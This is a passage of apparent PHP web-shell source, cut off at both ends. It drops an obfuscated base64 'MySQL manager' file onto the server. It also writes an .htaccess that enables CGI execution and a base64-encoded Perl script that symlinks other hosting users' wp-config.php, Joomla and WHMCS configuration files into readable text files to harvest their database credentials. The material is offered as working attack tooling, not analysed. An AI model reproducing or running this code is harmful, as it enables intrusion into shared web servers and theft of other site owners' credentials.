wNDNwREFxY2pYeHorMzlEN3NuM0VQTWNQQWd4TjFqbm9iK2xZaFJrWjZJYUtvRzNCVnRrWm5udFd4SGxndVk1bjUyUENpRk0rZjVVMmJqdHd4SW50a0kwSEM2OTJlNUdsSEY1TXJWaFI4cjcvUHpwME8wSFVBblVRM3VmUHN3ZkRqYVFkZWdOUUludTZkNld2N3J0OTFqS09SVzdPKzkzenNWTFI2SFkyWStzUlRrN1pkWWI0VHl4SmZDMkdiNkY3dFpnV3ArNmcrUjg3Q0Y3T3p1NzBLcjN4MGZ2cmViYmpmWCtRN011UThaNHNZT3RnNVZ2M3ZQU2NrWGc1UlVPOE9sT0ZxNDM3ck9rRUxXbjJub09UVzE1ZTBBS2Q1QTdHYWJ2VXFlZjdodVR2eXRHRzZvSnB1U3FGMnU2cUordmVOUFBkZ3pZSzdqcVJsay9Qcm1kendlcG1NNVNMN0IzM1Y1OUFmcEQ2ZnYxbDlpaGp3VGc2eDllVHJXS2RQanlaZUhVT1RiRSsrOTBEdjM0eFhhZk4yMlFYNzZFYmZKTVZpVFBsZ0xpNTdLMm5ramZrTk52ZTBxSEtTNTVBMEhIaGxFR2Z5Skdadk51a3ZLQ254ckhWb1N5U0QvZ0NyK0Y1SGpjSzlFenVweUdmSWptQjFmUm81emFDVnlWb3l6eUZmaWtoYUZhekNnVTFsbW9hNkhPV3hYUXdiWnJaZ3pTbDFOWW1NQnRwOGNocUs5OWVwQnZnMS9FcVM4R0tzODVIVXBYT3BDejJwMTJtU1piU2lkakc0SWZab0dNYXlSdlVSRXNRaVNzTyttWXBKZDdLK2dBNElkRlBLTW9PcHl5U3lBYVZGcjBLbzJ6Z2FvMlNrQ2NlTWtGQ2RLb0hUVEphQk9sOEJtZlJpYU1XRGhzOGlvV2tkc2VMS2trcm9yZ0JCV3NUeGxnMjZNTE1LY0tBS3RJQW9nclB6cEJ0ZUpLL1VGckZIZEFqTXdwaEU0RGdUS0d3VlJreXA1aHJIMGJUWlJqVGRiQTdObEJmelU0MldCZklIRkZ1UnFKOUdYWEEzMk9HWEZFM1hEdlkvSU11VThXM0tadXRsU0pFZ0RyTVNMc2JxWjFzRGVUNGhhUkFxbnVGWWZSN3BkdHc5cmplVDhneHV6aWkwbUgyY0RXUlRuL3FvQnlUVzBNZ2FGMEdmRFMyOTB0R3Npa25DSjdwZ25UWldHUkJDbU1LT3FtZ2FlZ0p0cFN0RldITk1Ec0Z3aTFrV3JKbjRSQ21QMmVEQmJ3NmJVTXVzZzY4bEJKU1ByYWNua2tMeTNjcVJJcjMyZnNBM1NGejZSVTR0VkJ3eVdBZ3lRTmFTelRiUFRVQ2lGQUd0TTFXbTRJbDZHSVdwSFFZZ0YzQXJJQmpXY2t0aVdodnZhS3NMdGhOV1lpK0Q4Z2dtYlJ2U0UrN1RSY2xWc0ZRL3B4NlVmMzFpaEkzanUvV2I3WlBlRVQ1SW5vOXhJUThiWkFIV2o5WFZ4d2tmTG5wZ29VM1I5WFZ2VHlMWnlRNXBJYWg5SmNnWS96clExNnc0UWV5NkxCeGRuS0o5bUYvUWY2Y05JOGcxcXd4b3hPLy9aQUpMUmd0WU83ZllKckNDcUFyWXNaZEJndWxFSW94bWVVeTJ6ZDZRWFFkTGcyc2taSlZUZHZYRGlYdzlZZU5hUW9uK0ZCeU5RdlZVelNpV3h3M0NTYlFRakxMTGF6TnRsSE9OeC9RUzZRUjBSWmU1bDA3aStTOU9BaExqYkp5ZXpsYUZ0KzZ3Q3J1aUt2NFNpZDRwbDVjVDBoa2Eweko1aHlGbDU1T0UrZXlpZXV1aTdiRzR5VHJaOENkZGZYNE1MN0xubEdIWlZuOUhoaFBwNlpHaWZTRHp3UlhnR1NxSkxWYzd5bi9EY0dFNUdlcEI1dllFRUFMSEdOaDNaRnhWWTVXb1JOdFVRSVFaZUp1ejhNaUJTMEZXODJTeTZRbzNQcnBZeHJSN2xzZWdrbXBNbllPZTlQUVZKbTdQMHlFUzNHMm1xZFhJNFRLTGhTRXZabHRCMUxjUUpwOTNnbHVFYXVVaDVQeU5YRmNid29aOXE3cWNYMGFUcllEaW5vNWNGckpEczhjaG1zL21nSXlSNU9DTEdFV1lEeVUybmQ3d01CUXBmNnNvRy9neGdmd01WVG9zMWF5bTFyVU1iZWRDeWhVbzV4aWZJZ3diTkZrZWZWVUdobzg2bitGenplYk5wamt2cGpCUFAvS2ZBbzdhM1RDTmFVQmpOa1N6OGNlRE5hSHV4NWtWOTkrQjArSThQaDZlN0orVGFWRTNvY2ZQd0NKbXA2WE5nT25RR0JyQW5XalpzbE9wbTJVMVJSeWFzN2puUzlsQXBlWDd5RCs3aVJxOTRqR1hXUW9rV1VyZG0yNFBWR2xwb21DaVRaM2dnVlRXTGhkemZlZ2tZOTZGeE9XajU0QmFjekx3YnZqM2MvL0QrNEtTd1NEaktLcnJLeVhTNThkM0xoY3pWYVMvRlQ3TWllSDZ2bXROUGluTmFMdzV6T0lyS3BGMHc2YjBML05tRVJzck94UmlpUXViQmNqWXJaUDd1M3hUeXBIdWprTDk3bmNaZU5oZG5oMUlwMGEwb3FwSjk2RlBVWVdPNHE0NHdiR3gwWGkxMkNvVXlBYUI4aU1KNUJBb1FMaHF3aW5FM0pxZ0RPa0p4S1c2azczWU0zREl0QWJNd0luQ21FMUNHTG51WEdJZlJyb1Z1S2doazRwMEF5RkFFZUJ5T2trVm5KUml3K0I1UXlxZjBaVWdhaGxWd2VrQmcxcVVqcmVSYk1kcG1tZkNXN05KNXI4bEZXZTZ1T0p6SnJCdDdNNjFaaHkxZnYwd3FjVktpUytYYnE5V3FpODJlNVVOSDFVeXExTlllTDkyQmoyUHY0ekxxbUxNaVkzMUlUQi9Zb3k2OW52ZkdjdzkvYjBiNnJOaWVWN2luTzRvbmR3WnAybHV1Mmw4WFlEZzRKUnR3N3k2VDhrdm11U1hzczBQLzlmTHRMcmxCd3grRElXRXYySUUrbnFBckdzVzl0RmdoYTJ5cW1xNDhxUGkza2s1Ym96SUJOWUw4R0tNYXlpUlRWbFhKYUNhODIrdURuck1DNmtGT2UzbG1heS9QeTdVWFptQ0pjbUtMbmkrc1hKdTl5SFdjbUhuMXJhalJaTlVWdTNOYWVkbVR5WTFDbXpMci9mdlI1NE00VGYrRFRCYm9GM3hjZFdISkNHVnFLRFhMYUVMV3hDVjlCNFhCYTMzWnJRTUwwYWhDOXVtZUJNYmxCSm82R01IR1lLQ3hNY2xGMVVIMWU5UWp4ZS9uendoL0t6RFd1YmkyaWpxcVE3TVQ5RUlTVnNsVkFCS3ErdEY0QTM3NkVVaU1VZGx1dHJXczNjV1RGaUJ4eDFrK3haZDFaTlZXbTFzTmVsMGFvYmtSVjJFVThHS2RiRkd6M25vQyt3cnBmdXdyK0lVaTR1VStWbUtqRUJPMFBTVFZGQSt3YTJFTEpVTllMVW4xb3czSS9oOFF2SUgwVU5GM2xlc2EwMGgrNVhYaTIweWtocmtXZ3ZSby84cEdDTENrZC9xeFV4ZE9QNlNmcVZPcnE3TW92T3VvZmtCdUdnZno2b3BCcThtYmtJYlFJdmJQTlNWbm83L1IvK1hzdjZyOVgvb2J0Y0V2K0dzalFJSUNmdWhxSkttdzN0eWpuV2cyZzVySTZINnk5dCtmWVJSdXEyZjlxOEZhalJPUWkwaDA5WHFGNnZsSjRVaE9GWnkxQmh4RmY1dmRPQ3Q2aHNQV3Bkbi9iVnZQU3RXYTVvYWVNeHg1QW90NW0zWkhvMjVWcGloRzJUMzYyc3daeWszcy9SbERVU3NZaDFvSnRuUWxTS3l0VVR5YVpJRzZpSUhsUTc2ZXhTaUEvd0V6RE9SUEhoRHpDb0RBMWp3Y1gxcklnT0hDQjVrWFJsZXh0K2hSTTJDYjRhRExYb1VSUTdXYWpKK2tqanNaYVNWbG16U1A1bUhoT2ttU1JHT2o5LzNibUFKYWFaTkJDNVZScXhBZUFiMlJjUkVnUEdHWEFkbXREdGxVMGpydnZ6dE1Rc0xuSWlYRTlzR09VRW9JdEtDQlFZOW1RTmhQTUJ6UGZDODBLREpLdjZ5YlUwSDlrRlZReWw0OW54V2RNcGVaZGVUWUo0T0FYV1hBVEVLcVhHZGwvc0pkZ0w3REdaZkJQUEZuOTBlODQ4OFFyMjN1QU5jS2RzOHlKSWMvbDJTTm9Mem95T3d4bTIzY0tJeEwzNXRPeVFuTWU0QWlBOXVUS2hCWUFKc1lxMnhlTEJXMXdnNTJhLytYMjgwdGx3UkhOWnljYnA5K2tENTY0c0NRNVl0TUVFbDBvM3VwTjhTVGJuVmNVdWFKbHN0U1JlbDl5V052b2JRU2E1STB1KzJISERrdnI5Rm1tbVNsVEoxalNGckFPU1M0MndHTmNiUU1kY0JkRmlMTGg3VTFxNnRzT2xKQ0xnTzdCeFplblczTkRoMmwrT1hkbzNuSDd2RUFKK2VEdldGM09IMjBrL1J2WU9ITmduTWd6cUVHV21tVmtkRjBKVUhycGxHb1ZGaTZwRENLcmxGMmptZkIrTExyNkFzVUpFR3BJVnFMelRpUmNKZklaK0l3RjcxSVppQUxaVzloYmFRK1hmNHZsTEVLblNzakVTWVB2NHdWTWVudGh1ZWdWeFR4UjdPWmw5MnRiMWM2ck5UYXNjUGdUQ1R0djVONW1CdHRheDcwTXRIeVpueDVJdkRTR3VpWm9NVHJtWHRBTng2eDdTVmpmYy9ERklNbGUySms4aDkyYW1Uait4NG5SM2w4dWRPakU1WDhOcXhseDBobExyeU1aQ3gzTHBaSndqc2hyZVgwQlVocmNXVWhWeTB3VTVXWDJwZGFvaFplRnU2MjZKek1MQ05saFdld3JuQ0Rua2FwTjVOaDRtM3RwY1A5NFk2VzBjWlVYcTczaDJLeDhRZTREYzBkOFVvOGhXMS9rNXdHZDdwZ1NjRldYZXc3RG5mUzZXZDlEVmhnSTM4SnlKOUxNRXVhOXgwVDhtOWRJV2oxSFhYOVFLMTZ1azBnVGdBYVJScmQwYzc0TXZvT3BjekZCQXdVdDFBNkRSbVozaWgvSDhJeDcwTVk0dWdMZ2hUeUVWTFBtOXlJSE4xUmFpcXdHOFc2a2hGZGhiRm5YM2JadmFiYlFXelFZK2dWaldRLzYxeHh5bUpjNnBuN0VvV0lGeHdYNldxaDZ0UFlzaSsxcm1ZcGpxOExzZk0vL0NDaitFcXVlb0VhR0UxdStJWWRYL3EyNDZoMDhCb29vd21IZ3RIZE5YZHJFbnhTM3JpUzY3dnl3blB1WnFvNkJteXBxNmQ4MzVOdVo5Sm0wZWE5b25ndDFTSHpnZSt1UTBNNnVoa2IwQTVsV3Bpb3QzRVVYUVkraGJUWEJic0E0ZmNzbUpJS2l1NE9rSm5CTlRwWXFFL25zMmdFeTdSQ0dnNjZRZFNUQm5YOU1rdUhJLzA1Um9ocnY1SVZ6bHltQjluMG1JdnIxdlF0QUVtVGY3K1N2OXU1aXBqSmlpZnNzL0tTbWZVaURQMGVIaDBlbjZJVzJoVlBuejZ4d21kQTJwZDNWM2RpamFqVzg2MzFVRkxuY3lmUjNBTWxEL05sV3dweGpPeENrbTRqUDVhZW8vRXlMdmlRK1BFU3kvMUVSaXZHWDZHZDBOUFZHVkFGVVpHSkVFMm45RFNQZUtiaXE4aVhPUGFER2RmZU1MV3RtQzVDaXNDTWt0NlpZQzlhSmNYM0hMZ3c5OXdEQTZrZWlIVWhxWnRhcW1oTlZMSWdHQ2tteVJPYUxUbWhDdlZhV0FkQk90bG1RYzBxQXN2U0dtQmdFbzhmaTlLQ3hNWnZZaW5Wa1JuVktXV0MzVC9tSjFvK1VaRTFYOXNrUlllUlN5cllkVnRPWmFaRHRjaHphSHVMenN3Wmkrd0podnAvUmJBTS9teWhrdk11aUJQV3cxeTVQZzFwSlBqMTZOMkczWWtXYkxOSTd5ajJQOW5rdEZzTitVT3pRTUQzVnBjR1FGVFUxVzZMT2VpaUNYQ3hhK3dnUElLR3l4aS91ckdJQWh0NHhwOERibVFuUHpRTmUyelVLSDhuTHExcExoMkEzS2VnTUQwbWVHUE1vaWErdnArRWc4bnNlNGxOSnU4U3R4TFl3VVh2Q0t1U3JxWkxaRkFqSVdCbXlZdnhCaVFuSldjUjZKK1lYNldSZlhYWFd5ZXNkc2gzUlhETC9LY2ZUN3pRNjd6WmZ2djdyOGVISHc1MjJ1TG5kL1JQUjc5NThoSjJ6dkozUmZCcGtlekxCSm5EVnJMenRTT0FicTluYnE0WG1nSHpHVFFpdkU3ZkZzcTlhbHZ1QzFtcURIYVRKZ1hMMmVSYjgyVTNwQmtCNlVIYTNpUFdGV3JrNG43Mk5SQWZQMm1sUlQxb3M3SGhoeE43R0RMNmpIL3RqNWNwM29tYytqcDZ3R3hRd2hTQU5GUzE5TE9GV050bFQ5UnIvQ2JvT3FKUVIraUE2bitnVTFVNkIxRUZXa1lYRUNZWC9tdzJ0TkJLSEs5TkFiZm9iaXczU2VyUFZjTXlMMCsrNWpLTlJPRUhJSG82a2QvdlljOGhaZ0x2cEMvM2JwSTQxT2xGdkN3bnFrcS9sZXpySUJsQ3pXZ1pqL0dhS21KWThFMWQ1THNUTzdWYVlSRFpuL2pvOWRTUGNITzJBQnA0MFRmR1FQZkt0TjVxYnFvenpkY0xkUS9XYU5acW1jZXNORmd6Q1BDajQzMFJLK1VsdmFDSFBYbGVPVlNNZWlicDdCSU4zeXhHU1U2LzIxaXVyNlZwekdOc0w5OHRReW5CZm55OG5kdFY5NU81RkM4b005ZW5zRXdTaEtpL3pnVjJFQUxpYnZhUzcyMmU2TVFmTGM4NUd0eFdpUFZicFBkK3ZUUkZnMWNDZ3A0Mjh1TWhMbEF2QmFXaTdERlQzUG8xbFZvZGpFbXQzQi9GRVY2SjgzV0FpMElOMjJBQ0hRd24xYVRtbXFmdFRHZnVkWFd2aTFlWjFTdFYrTTB4ODExKzNrRmZqZ0hsT2J3MFowVXlOcitxdzkzYkZKZUpOWXV4K1RVNyt1Y3R5Tmd3b2tmUUVBTmVqK1o0ZTQ3Rk43NTQ4MkFmamp1UjUvY25yR3REQXFiMmloaGZzblRDeXd4dGZVMWJSWXZUZlcwNnlTNmpteU85NHRxQWl1VlhyQXBDNmFxM1RyNzFhd1Q2R0JndklhcmJoK3JXb1Z5L0ZISjBTaStId2ZZRWRCSVdFaUdiMUYxenZ5RUx3a2QyeWNyeThTekExOGxHUWVqRk54MUhNYWl3eWpHM1pEcXBoMVVmVitpM2RmZGVIVTF3dnYzQ3E1Q1o3S2ZseThyeWVCK3p6eXFYQS92SjFrODFXNDBYRWp2d0VkOFp0dEZMckhUeUhpejBtUjFEWkZVVHlpdnBqbjFRSnlVd28xYXY4NVhGS1NuQVRnYk9QdjZYUi80Yys0TTh2a2NWZ2VmMURydWwrT2M5Sy9iVGZNVTdrQ2lHeUt5Q3dFVkhseTMwUnVkalcyWkRjbTN0YjV2ZGJwT3VIT09UUDZRSjRpdGtaZElIMXNrUmlQZHFoUlZXZWt4Q1ZNTG9pcDVOMERFdE1vUENRQm95OUVQbkNhdXkxTTVOMllxbm5qV0p6bXJvalkweWFJcFdrU0VxTXJzdTFzR1N4VmVrTm9wdGs1LzRrblIyeXNtQ2NxWjhXREJiYkU3UVJrZ25nWHBUS1hhRnpoVGwrUmpEYXg4dyt4RTJDWmM4TFdPSU15eGFidzNxbWZTbWVpYTFzbHpJemdSem02NUVMM3Rtb0ZZeGtRSHNTY1k1NVJ6QTU1NHFuN3pZT0VkMDBJajlnTFVHVWIxVVVGM1J0Ri9sY2c4aU54c3Rhd0JiR2NBLy9DUjdpOXpTYTZDQ3BSQmtHd3pmb0RFc3d3UFZZTFVvcGg0aWVnU0U4aXFoQnFmRmdvUnhyY2lXTWdXTEJzWmVxWWdtME5qSnZ3ZHBzTGRHY2M4MUdtT0Z0aXJMZy9SSXFaSzhONUZEbEZIWjdXeDJMSkZheldpUnFKUGJvSzB5L214bXBuZXpJRGsrbXRaTG1HSjdDcFhJZ1h1RGFwMDg1STU5WDI1aFZGQ29ZQjBQMDhtdzNHNHBnZTZMNW9zbkw1NjJYbTdLTngza29USTVaQ1hRaGdVa2ZvRUV6Q1BNYTRvR1dObS9qdXhwWk9GOSt2TFppK2QzSWlXSUlzYjNxekIrb1kxbHJmdDlsSHUvVngzNzAyK0VlSE9UeXZsdEpqWVdLa2FTUTE4Yy9YYjBuOEZDUHFCWHdkTk1EcUZSWE9aeVVLS0N1UGFERk5LdkN3YlArWi9qYUw2STZhVUdBa08vQmxUaEpUeSttdWhRY0tNZElNYWFvUGR2OE9veGhTd0VNU3BjMENYMTRDeVdkT2tzVmF6M3hLOSsrZzR5OXlHVDYzYzJOdGJXMThUNitzK1BmMjYxbWkwNytFY2pKbDJqMjBOTlEyZWVEYnBLdEgrcXEvZGdFZU5heTRyeHF6N3k1NHRVdGZYeDQrcWpYUE1oSy9NNk0yWFdRTStDRDlsQzdvL0tZcllvWnNqcHF4cFY2elZybjFmMVFEK3ZiZFFzZXByWkZGQnMxcFFmTXdTRFNKZ2lrTXV4bTFNYzJOaERvRW1kRHBod2J0allPdW9KSklLNWMvd0tiNUpuM2dKWG8rZE5KdStveGJJUmRaR0J1eldSM09zOW1JZ1VHaUtyVWs4UnFNREcyNnlva3R4ZUtab0tNd2lmZzBxOU5CaURabWk2cUlmUHVwbUVHeDd5TlZ1bUxrelFFUjBzWFI4UGN4RGdvcVlsRXBZOTZvSTZRd2FMU2pWY0hyQXVJaE80dHphNHNDTWZ2ZU5Xb0kwdW1aSnBQSm5qRlE4bWNtV3F1VWZqcGVnWEZIblAzbXhvdmVPNUtkaU1ndjZ4NDQ2b2RBenJBaHRSWG9xdldtdUlybkQ2MTgrYS9ldW5vLzUxOHhuOC94eitiOXIvTzZwaU5Kc01wVnRieU5nbmE0U1dZWEM5dVJNbHAyZzhWekFsemVhbWRQRkRTbW43ZGprQnZFSnhnNmZqb0xxMjliZUdNdGZTRkpJejl3WSszQUVlVWZ6OVpaNkVMcVdHSWtBbld6ekhRM0xKbmxhK2JPTGQ2S3E1c2d2WWJoTXFWTEZmVnIwZ1hLTGtIcFNVc1gxdnltN0Z4b1pBajE0d05WcElXZmZXWmZlMnRzVG1zNXI0SzhzRDdnYVd0WXBsM0Ewb2JNR205OWRQUDFiTE9vTEZKWFYxVjZDOFNOYjBwdGNUcmVJT3J3VUdUbE5VZjltTXo4NEhLWHRXYXY5S0NrMWt0UW1vVS81MVZTNnA3R3lqT2NKMzlQMXJxdkFEL3RHV2F4YzJWRVp3OW54Z3ZsOE1mdnF4a1N0L2FwVS9LeW5mdE1xZmxKUTNyZklXUFVXT3J6UzR1a0c0MGdoY1p3QUdweU9EbWVNZnNndnhDZnovMUpGRkRTcHJQVldMMGVTWkJXcmx2Y3psYVlwOFdSb0dhY2d4eW5yN2hGSGlUU2JHUHo0RFA1OXNXcmwveWtmOWpLNWdWOG5oK3JOUVRXN1hhdGYraytkRXM1NnJBalA5YWEwT3RnODNITjJhQzI5OFdYWC9pYk1CMnJTaUFPbVhGOG1PRmdvL3VZYTIzakVMRUUwcnQ2TGViWkZKYXZIL1JUdXRUVmRLZUk2MG5NWmtPZnBYUTMyUUxIdWc3VDI2QWt4TFE5YXNxZmRGSnJFL3pzbjVGdnkvU1ZPRVN3dXp5YzYySnQ0OW9LM3BwN1B0R1doeVM5aFdXcVk1VjFacUQzS3V2RERPWWhWVTgvK2hCRnY3WkhObGtSNTNhNVBOS0dGV1BrNUlQUld5akZZVFZkVlMrenhQSTRJckduQ2tvK2s0Wk43NEN2UEttcFBjQjhETUNrUXBxQ0pzK3hMNFQ3NElYYlZod0RNNlNjTWVRRkJ1OGNTamdMZDJiN0FmREpmVmRKQXRzSkRZcFNTUHNDZ3p5MHRjQ3RuM1NPa1h2VVhhVmZvSUJiY3U2Y1pCK2Q5WWtUSFUvUHlzQlk5cktmUFhWbVFrZVZWQ1RqRUNnQzZYZEZ2Nk5reGlSYlRMUDVKaTNYUjE3R3ZDQkY4ZWw4Nm9hdGJMdG9aWXZsdll6THA2c3RmNmd5TzZjVTExelROVEJXWVlrem1qeTVBRGxjS3JsUU5IdmZva1RUZ3VjdVFWYlVmOUVhRWN4cDNkZDlzZjlrK0ZLK0VsK01CMXJDdG5YQ1N2anFNMzBQa0QzK1FwdzZmK2drMUpkWGtGbk9xWFY1YVFCRGd3Y3djOUpaSzdNdnpLSHJIZmQvOVlQVjRjcWxVeVdvaEVjdVNTVG9Fd2g2NjlEL2tQcWlqTitWSzlvKzhjSGUrOTN6Nyt3eUdqaHFBUG9uQUlDdFhIcGM4UldVMGJvZlBoWU84ZkgzYi80cVRtaDIxU0IvaFd6eGtEcVBISjVHV01rTnQ4S1FzbmFzbmJhTGFjaDZicGttdlVTOXJPK0J4MFJwYlVwWG9taWlvbE5icWRLWjlYQmZTMU8yWXIxc0hhU1ZkSkw0V2w3dFFkOHl5N1pGdlhZbHZwaUFzaGkzRVlSVldqcjJXWGh1Mlo1dFkzNjgvcDZxVGtzbU56UGd2NW9yWnFMU0ZKMmRBOFpmV1VaclpPSC9iTGZzaWNzQitFbmw3RlFVcUhxblZUSTNzUmxuMmF1bEQvbVRoNUUyWEZMWHRIZWI2MW5DcTVzZ2NZN3ZlU0FRS1dDTmppUzhEeTdkK3F3NW9RVVNMWGpSOTMxMXNsY2xUU1hsdkx3RzZabHQ5SEtqYTZlSmp6SlpFbzBjZ24wdkJtZUlabXVaalRFc2xnemdLNGpyclZtNHk5aGErUDNFcnd5d3R4dDJXVHF0YjVmcE5ETG1FMXZDdFE0bkZiQ1RKSFA4eWUxVm1XVUFzZk56YWU2aVh1M1J3bGdBVUZMV2VoSzBpM2ZCbzNIT3ZaZHcyWWp1alZRQk9IZi8rL0hQRjB4WFdsMnd4NmpteituTGwxN2hZYnJPT3EyWHptT05pdTY5Ymt0WEdPSnFMWDdpdnkrZno4VS9neXVydVNmMitmUGlpVzJ5bW55eSt6VnJ6NDNFanVHaC9YbnAveEs2OGtzKzFrRHhUZlY4S1JRZWhVaE4rRHZ1UGdoWGFaRHd5RWpJNUM1Y3U5Vk9GUzZWZTVkRnY5QVF2S3BXZGdCN1IvMldrdytURkF4TlhZK1NrN2cxMmxYMlhUZER5REx6d29NbHpLYjh1YTJpcjlLcGR1NHhNTHdDOGRhMFdsNnIyNmdYWFBuMHFJNkNBWG5FOGxsQmhZNDRhWnRFT3FQMnVReWRIRGlabVVHSmc1d0tSUW40SThNeGo4U1Z3ZFVDaS9mRHZBZnFIQitiZHJwbE1hNDJNOVhWaWNxV1lnOU1PRDh2RVNsY2Jwb3I3cFZsWU91dUU2S3BMMElaTkp6YUhTbVpCNWo5RG1zOWhTZjFJd2QwdWt5TTh5cnV0TzlaeWl2NS83eFM4MERvcFJIVmFoZGVrNjk0ZDdlYUdyWngwSFhWSXo5Y3ptK21ha29ReXZvMGh3aVd4cmc4RktKbHc1Z3ZKNjZqKzZSOElrVEtkTEdhN2VUYk9sc0g0Y05qZHorSS9zRUJhT0w3WEZqTTZCbWJQUWYyMkhpdVM5VWd0WTUrRFJuaitiR3FGRWZ5ekNua2dxQTZTbi9Fc1NhbUZRU2twUVd3Q3lmbXlJeVRTMEN6dldjdVU5RzRxVHZkOHFsZkd6TXBkVG1DK2piR1UrcC9SYWxlM0w4MSt1QkR0Z1N5MHZMWEZMSG9VcVc5OG96MHRXdDJRRDN1S3kyU0RUZU9taWFaZ1YwMjAvQXlYVFhiSDU3SnQzaXFKY3p6MEcxS2ZYZ082OWtMRUhXczdDTitaaGUxVWVmbXYyczN6c1dZSTE4eXpRb214M1YzZXhNSlpOdjhqUExOVi9Qa0RseTFmV3pTdVJoVWQ1MkVDRXdlV1FkZGxMbmU2dmVPWHdoSlBtU2NQY0M0VGxUVFk2MHlySUJYVEtzMjkxTFdLZndpNFdvQVduUXlxMTdscXBVa0x5dnk1QjhBdz0iKSkpOyA/Pg==";
  1602. $write = fwrite ($f2 ,base64_decode($sml_db));
  1603. if ($write)
  1604. {@chmod('image/database.php',0755);}
  1605. echo "</br></br><center><b>GO TO : <a href='image/database.php' target='_blank'>[+] MYSQL MANAGER [+]</a></center></br>";
  1606. }
  1607. }
  1608.  
  1609.  
  1610.  
  1611. elseif(isset($_GET['x']) && ($_GET['x'] == 'pl'))
  1612. {
  1613. if (!is_dir('IMAGES')){
  1614. $mk = @mkdir('IMAGES',0777);
  1615. $c = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n AddHandler cgi-script .pl \n Require None \n Satisfy Any";
  1616. $f =@fopen ('IMAGES/.htaccess','w');
  1617. @fwrite($f , $c);
  1618. $f2 =@fopen ('IMAGES/dancok.pl','w');
  1619. $sml_perl = "IyEvdXNyL2Jpbi9wZXJsIC1JL2hvbWUvYWxqbm9mcWUvcHVibGljX2h0bWwvdHJhZmlxL2dvbmZpZy5wbA0KcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+DQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIiAvPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+DQo8dGl0bGU+WytdIENPTkZJRyBQRVJMIFsrXTwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IFRhaG9tYTsNCiBmb250LXNpemU6IHgtc21hbGw7DQogZm9udC13ZWlnaHQ6IGJvbGQ7DQogY29sb3I6ICMwMEZGRkY7DQogIHRleHQtYWxpZ246IGNlbnRlcjsNCn0NCjwvc3R5bGU+DQo8L2hlYWQ+DQonOw0Kc3ViIGxpbHsNCiAgICAoJHVzZXIpID0gQF87DQokbXNyID0gcXh7cHdkfTsNCiRrb2xhPSRtc3IuIi8iLiR1c2VyOw0KJGtvbGE9fnMvXG4vL2c7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJzEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJzIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJzMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJzQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJGtvbGEuJzUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJzYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJzcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzEwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzExLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLicxMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMTQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMTUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLicxNi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMTcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bW